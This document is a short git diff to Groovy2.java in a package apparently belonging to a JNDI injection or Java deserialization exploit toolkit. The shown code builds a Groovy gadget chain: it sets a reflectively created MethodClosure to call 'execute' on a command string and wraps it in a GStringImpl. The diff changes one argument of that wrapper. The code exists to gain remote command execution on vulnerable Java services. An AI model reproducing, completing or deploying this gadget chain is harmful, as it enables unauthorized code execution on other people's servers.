diff --git a/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java b/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java index b70d4b9..5fd7bcd 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java +++ b/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java @@ -17,7 +17,7 @@ public class Groovy2 implements ObjectPayload { MethodClosure execute= (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure"); Reflections.setFieldValue(execute,"owner",command); Reflections.setFieldValue(execute,"method","execute"); - GStringImpl gString = new GStringImpl(new Object[]{execute},new String[]{"start"}); + GStringImpl gString = new GStringImpl(new Object[]{1},new String[]{"start"}); try { Reflections.setFieldValue(execute,"maximumNumberOfParameters",0); Reflections.setFieldValue(execute,"ALLOW_RESOLVE",true);